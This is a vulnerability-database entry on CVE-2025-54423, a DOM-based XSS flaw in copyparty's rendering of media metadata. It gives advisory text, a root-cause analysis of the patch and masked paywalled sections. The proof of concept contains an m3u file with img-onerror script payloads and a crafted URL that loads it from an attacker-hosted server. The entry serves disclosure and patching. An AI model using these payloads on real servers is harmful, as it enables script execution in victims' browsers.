5.4

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2025-54423

CVE-2025-54423: copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata

Summary

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.

Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

a user which has the necessary permission for uploading files can upload a song with an artist-name such as <img src=x onerror=alert(document.domain)>
an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

PoC

Create a file named song.m3u with the following content. Host this file on an attacker-controlled web server.

#EXTM3U
#EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)>
http://example.com/audio.mp3

Craft and share the malicious URL:

http://127.0.0.1:3923/#m3u=https://example.com/song.m3u

Impact

Any user that accesses this malicious URL is impacted.

(GitHub Advisory)

Miggo Vulnerability Database

→

CVE-2025-54423

CVE-2025-54423:

5.4

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
copyparty	pip	<= 1.18.4	1.18.5

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability is a DOM-based Cross-Site Scripting (XSS) issue in the copyparty application, specifically in how it handles and displays multimedia metadata. The root cause is the lack of output sanitization when rendering metadata tags from media files, such as M3U playlists.

The analysis of the provided patch commit 895880aeb0be0813ddf732487596633f8f9fc3a6 reveals modifications in the copyparty/web/browser.js file. The changes are located within two separate JavaScript modules, search_ui and treectl, which are responsible for rendering the user interface for search results and the file tree, respectively.

In both modules, the code iterates over metadata tags and their values. Before the patch, these values were directly pushed into an array that was later used to construct HTML. This allowed for the injection of arbitrary HTML and JavaScript. The patch rectifies this by wrapping the tag keys and values in an esc() function, which presumably sanitizes the data by escaping HTML characters.

While the exact function names are not explicitly defined as named functions in the provided patch (a common practice in the IIFE module pattern used here), the vulnerable code blocks are clearly identifiable within the search_ui and treectl modules. In a runtime environment or profiler, these would likely appear as anonymous functions executing within the context of these module variables. Therefore, search_ui and treectl are used as the most precise identifiers for the vulnerable code's location.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.